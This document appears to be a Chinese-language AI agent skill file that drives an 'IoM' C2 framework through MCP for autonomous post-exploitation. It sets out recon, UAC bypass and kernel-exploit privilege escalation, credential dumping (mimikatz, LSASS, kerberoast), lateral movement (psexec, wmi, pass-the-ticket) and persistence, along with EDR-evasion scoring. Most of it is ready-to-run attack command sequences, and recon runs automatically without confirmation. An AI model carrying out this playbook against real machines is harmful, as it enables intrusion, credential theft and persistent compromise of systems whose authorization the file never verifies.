| name | iom-pentest |
| description | 通过 IoM C2 MCP 工具进行自主渗透测试。覆盖完整攻击链:态势概览、信息收集、权限提升、 凭据获取、横向移动、持久化。基于 OODA 循环驱动 — 每阶段分析结果后再决定下一步。 触发条件:用户提到 "pentest"、"提权"、"横向"、"信息收集"、"凭据"、"持久化"、 "自动化测试"、"红队"、"后渗透"、"summary"、"态势" 时使用此 skill。
|
IoM 自动化渗透测试
通过 IoM MCP 工具进行自主渗透测试。核心是 OODA 循环 — 观察、分析、决策、行动,每个阶段根据实际环境自适应。
参数说明
$ARGUMENTS 支持阶段关键词和 session ID 的任意组合(空格分隔):
阶段关键词
| 关键词 | 阶段 | 是否需要确认 | 说明 |
|---|
summary | 全局态势概览 | 否 | 俯瞰所有 session,不需要指定目标 |
recon | Phase 1: 态势感知 | 否(只读操作) | 对目标 session 详细侦察 |
privesc | Phase 2: 提权 | 是 | 权限提升 |
creds | Phase 3: 凭据收割 | 是 | 凭据获取 |
lateral | Phase 4: 横向移动 | 是 | 横向移动 |
persist | Phase 5: 持久化 | 是 | 建立持久化 |
Session 目标指定
参数中非关键词的值视为 session ID 前缀:
| 用法 | 含义 |
|---|
| 不指定 session | 对所有存活 session 操作 |
4d24a3 | 仅对该 session |
4d24a3 bd608a | 对这两个 session |
用法示例
/iom-pentest summary # 全局态势概览
/iom-pentest recon # 所有存活 session 批量侦察
/iom-pentest recon 4d24a3 bd608a # 指定 session 侦察
/iom-pentest recon privesc bd608a # 对指定 session 做侦察 + 提权
/iom-pentest creds 7a0c97 # 对 admin session 收割凭据
/iom-pentest privesc creds lateral # 多阶段组合(所有 session)
/iom-pentest # 默认 = summary
确认机制
关键规则:summary 和 recon 无需确认,其余阶段必须展示计划并获得确认。
summary / recon(无需确认)
直接执行,输出分析报告。
privesc / creds / lateral / persist(需要确认)
执行流程:
- 先完成 recon(如果还没做)
- 分析环境,列出可选的攻击路径和推荐方案
- 展示执行计划,向用户确认
- 用户确认后执行
- 验证结果,报告成功/失败
- 如失败,再次询问是否尝试下一个方案
核心原则
- 每步先看数据再决定下一步 — 不盲目执行,根据环境调整策略
- OPSEC 优先 — 先识别防护,再选择相应规避手法。详见 reference/opsec-guide.md
- 失败即转向 — 某手法被拦截,标记并换路径,不重试同一技术
- 最小动作原则 — 能用 BOF 就不用 execute_assembly,能不落盘就不写文件
- 不擅自行动 — 除 summary/recon 外,所有操作必须用户确认
- OPSEC 评分规则 — 每个技术都有 OPSEC 安全评分(1-10,越高越安全):
- ≥ 8 分: 安全,正常执行
- 6-8 分: 中等风险,在执行计划中标注风险等级
- < 6 分: 高风险,必须单独向用户告警,说明风险原因和更安全的替代方案,经用户明确同意后才能执行
OPSEC 评分参考
| 分数范围 | 风险 | 典型命令 | 处理方式 |
|---|
| 9.0+ | 极低 | enum/recon 类, hashdump, klist | 正常执行 |
| 8.0-8.9 | 低 | BOF UAC bypass, bof-execute_assembly, elevate(Potato) | 正常执行 |
| 7.0-7.9 | 中等 | 内核漏洞(ms14/15/16), mimikatz, wmi/dcom 横向, PowerShell UAC bypass | 标注风险 |
| < 7.0 | 高 | logonpasswords (5.9) | 必须告警 + 等待确认 |
告警示例(OPSEC < 6 分时):
⚠️ 高风险操作警告
命令: logonpasswords
OPSEC 评分: 5.9/10
风险: 直接读取 LSASS 内存,大部分 EDR 会拦截并告警
更安全的替代方案:
1. nanodump --fork --spoof-callstack (OPSEC 9.0) ← 推荐
2. hashdump (OPSEC 9.0) — 仅获取本地 hash,不触碰 LSASS
3. mimikatz (OPSEC 7.0) — 风险中等,但比 logonpasswords 灵活
是否仍要执行 logonpasswords?或选择替代方案?
MCP 工具使用规范
所有操作通过 mcp__iom__execute_command 执行:
- 切换 session:
use <session_id_prefix> — 进入 implant 上下文
- implant 命令: 切换后直接执行
sysinfo, whoami, ps 等
- client 命令:
session, listener, pipeline list 等不需要 session 上下文
- task 结果: execute_command 会自动等待并返回结果,无需手动 get_history
命令用法详见 MCP 工具的 help 描述。特别注意:
- BOF 类 UAC bypass(elevatedcom/sspi/colordataproxy/registryshell)使用位置参数
- Flag 类 UAC bypass(silentcleanup/editionupgrade)使用
--command flag
- 详见 reference/technique-reference.md
阶段总览
Summary: 全局态势概览 [summary] 自动执行
↓ 了解全局,选择目标
Phase 1: 态势感知 → 身份、权限、环境、防护 [recon] 自动执行
↓ 检查点:我是谁?能做什么?面对什么防护?
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞 [privesc] 需确认
↓ 检查点:拿到高权限了吗?
Phase 3: 凭据收割 → hash / 明文 / ticket / token [creds] 需确认
↓ 检查点:拿到什么凭据?能用在哪?
Phase 4: 横向移动 → psexec / wmi / dcom / ptt [lateral] 需确认
↓ 检查点:新立足点在哪?重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务 [persist] 需确认
↓ 检查点:重启后还能回来吗?
Summary: 全局态势概览 [summary]
无需确认,无需指定 session。 俯瞰全局态势。
执行命令:
session # 存活 session
session --all # 全部 session(含离线)
listener # listener 状态
pipeline list # pipeline 状态
输出要求(结构化表格):
1. 基础设施状态
列出 listener、pipeline 是否正常运行。
2. 主机列表(按主机分组)
将同一主机的多个 session 归为一组:
| 主机 | IP | 会话数 | 最高权限 | AV | 状态 |
|------|-----|--------|---------|-----|------|
3. 会话明细
| ID | 主机 | 用户 | 权限 | 进程/PID | 心跳 | 状态 |
|----|------|------|------|---------|------|------|
标注:
★ = admin/高权限
⚠ = 心跳超时(可能失联)
- 同一主机的冗余低权限 session 标灰
4. 网络拓扑分析
基于 IP 地址分析子网关系、可能的宿主/VM 关系。
5. 建议下一步
基于当前态势给出优先行动建议:
- 哪些 session 需要提权
- 哪些主机值得深入
- 哪些冗余 session 可以忽略
- 推荐的攻击路径
Phase 1: 态势感知 [recon]
无需确认,直接执行。支持批量 session。
单 session 执行
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
批量 session 执行
对每个目标 session 依次执行上述命令,最后输出对比分析报告:
## 批量侦察报告(N sessions)
### 对比矩阵
| 维度 | session1 (host1) | session2 (host2) | ... |
|------|------------------|------------------|-----|
| 权限 | High ★ | Medium | ... |
| Admin 组 | ✅ | ✅ | ... |
| AV | 火绒 | Defender | ... |
| 域 | WORKGROUP | CONTOSO | ... |
| 子网 | 192.168.86.0/24 | 10.0.0.0/24 | ... |
| 补丁级别 | 2020-11 | 2024-03 | ... |
### 各 session 建议
- session1: 已是 admin → 直接 creds
- session2: Medium + Admin 组 → privesc 可行,注意 Defender
- session3: 同主机低权限 → 可忽略(session1 已够用)
检查点
| 维度 | 关键问题 | 决策影响 |
|---|
| 权限 | Medium 还是 High?有 * 标记吗? | Medium → Phase 2 提权;High → 跳到 Phase 3 |
| 管理员组 | BUILTIN\Administrators 在 groups 里吗? | 在 → UAC bypass 可行;不在 → 需要其他提权路径 |
| 完整性级别 | Mandatory Label 是什么级别? | Medium → UAC bypass;Low → 需要内核漏洞 |
| AV/EDR | 跑了什么安全产品? | 决定执行方式选择,详见 reference/opsec-guide.md |
| 域环境 | WORKGROUP 还是域? | 域 → Phase 4 有更多横向路径 |
| 补丁级别 | 最后安装的 KB 是什么时候的? | 老补丁 → 内核漏洞可用 |
| 网络位置 | 内网段是什么?能看到其他机器吗? | 决定 Phase 4 横向目标 |
recon 完成后:输出完整分析报告和下一步建议。如果用户指定了后续阶段,则基于分析结果展示执行计划并等待确认。
Phase 2: 提权 [privesc]
需要用户确认后执行。仅当目标 session 为非管理员权限时有意义。
如果指定了多个 session,逐个分析并为每个 session 分别展示提权计划。已是 admin 的自动跳过。
完整的技术参考见 reference/technique-reference.md。
展示给用户的决策信息
基于 recon 结果,为每个需要提权的 session 列出:
- 当前权限级别和完整性
- 可用的提权路径(标注推荐、风险、OPSEC 评分)
- AV 对每种方式的影响
- 推荐执行顺序
2.1 UAC Bypass(用户在 Administrators 组 + Medium 完整性)
优先选择(BOF 类,低检测率,OPSEC 8.5):
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"
备选(需要 --command flag,OPSEC 8.0-8.5):
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"
PowerShell 类(最后手段,OPSEC 8.0,容易被拦截):
uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass
implant 路径从 recon 的 sysinfo 获取(file 字段)。
2.2 Token/Potato(有 SeImpersonatePrivilege,OPSEC 8.0)
elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
2.3 内核漏洞(补丁级别老旧,OPSEC 7.0)
| OS 版本 | 可用漏洞 |
|---|
| Win10 1903/1909 | elevate cve-2020-0796 |
| Win7/8.1/2008R2/2012 | elevate ms15-051, elevate ms14-058 |
| Win7/Vista x86 | elevate ms16-016 |
| 通用(旧补丁) | elevate ms16-032 |
2.4 其他路径
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem
执行后:session 查看是否有新的 * 标记 session。成功后 use <new_session> 并用 privs 确认。失败则询问用户是否尝试下一方案。
Phase 3: 凭据收割 [creds]
需要用户确认后执行。从最高权限 session 执行。
如果指定了多个 session,优先从 admin session 执行。非 admin session 只能获取 credman/autologon 等不需要特权的凭据。
展示执行计划,列出每个命令的 OPSEC 评分
hashdump # OPSEC 9.0
logonpasswords # OPSEC 5.9 ⚠️
credman # OPSEC 9.0
autologon # OPSEC 9.0
mimikatz privilege::debug sekurlsa::logonpasswords # OPSEC 7.0
如果是域环境:
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast
检查点:收集到的凭据整理成表格,分析哪些可用于横向移动。
Phase 4: 横向移动 [lateral]
需要用户确认后执行。基于 Phase 3 的凭据和 Phase 1 的网络发现。
4.1 网络发现(自动执行)
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
4.2 展示横向移动计划
基于发现的存活主机和可用凭据,列出:
- 目标主机列表
- 每个目标可用的移动方式和 OPSEC 评分
- 使用哪个凭据
- 推荐方案
等待用户确认后执行:
move wmi-proccreate --target <ip> --command "C:\payload.exe" # OPSEC 7.0
move psexec --host <ip> --service MySvc --path /local/file # OPSEC 9.0
move dcom --target <ip> --cmd "C:\payload.exe" # OPSEC 7.5
move krb_ptt --ticket <base64_ticket> # OPSEC 7.0
token make --username admin --password P@ss --domain CONTOSO # OPSEC 9.0
检查点:session 确认新 session,然后对新 session 回到 Phase 1。
Phase 5: 持久化 [persist]
需要用户确认后执行。根据权限级别选择。 详见 reference/technique-reference.md。
如果指定了多个 session,为每个 session 分别展示持久化方案。
展示给用户的持久化方案
列出可选机制、落盘位置、注册表路径、OPSEC 评分等,等待确认。
管理员:
persistence Registry_Key --artifact_name <name> # OPSEC 9.0
persistence Install_Service --artifact_name <name> # OPSEC 9.0
persistence Scheduled_Task --artifact_name <name> # OPSEC 9.0
普通用户:
persistence startup_folder --use_malefic_as_custom_file # OPSEC 9.0
persistence reg_key # OPSEC 9.0
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
验证:安装后检查对应的注册表/服务/计划任务确认生效。
输出报告
每次执行完成后,生成结构化报告:
## 渗透测试报告
**日期**: YYYY-MM-DD HH:MM
**范围**: $ARGUMENTS
**执行阶段**: [列出实际执行的阶段]
**目标 session**: [列出操作的 session]
### 攻击路径
初始会话 → [技术] → 提权会话 → [凭据] → 横向会话
### 会话列表
| 会话 | 主机 | 用户 | 权限 | 获取方式 |
|------|------|------|------|---------|
### 获取凭据
| 类型 | 用户 | 域 | 来源 |
|------|------|-----|------|
### 使用技术
| 阶段 | MITRE ID | 技术 | OPSEC | 结果 | 备注 |
|------|----------|------|-------|------|------|
### 防御缺口
[哪些薄弱点使攻击成功]
参考文档
$ARGUMENTS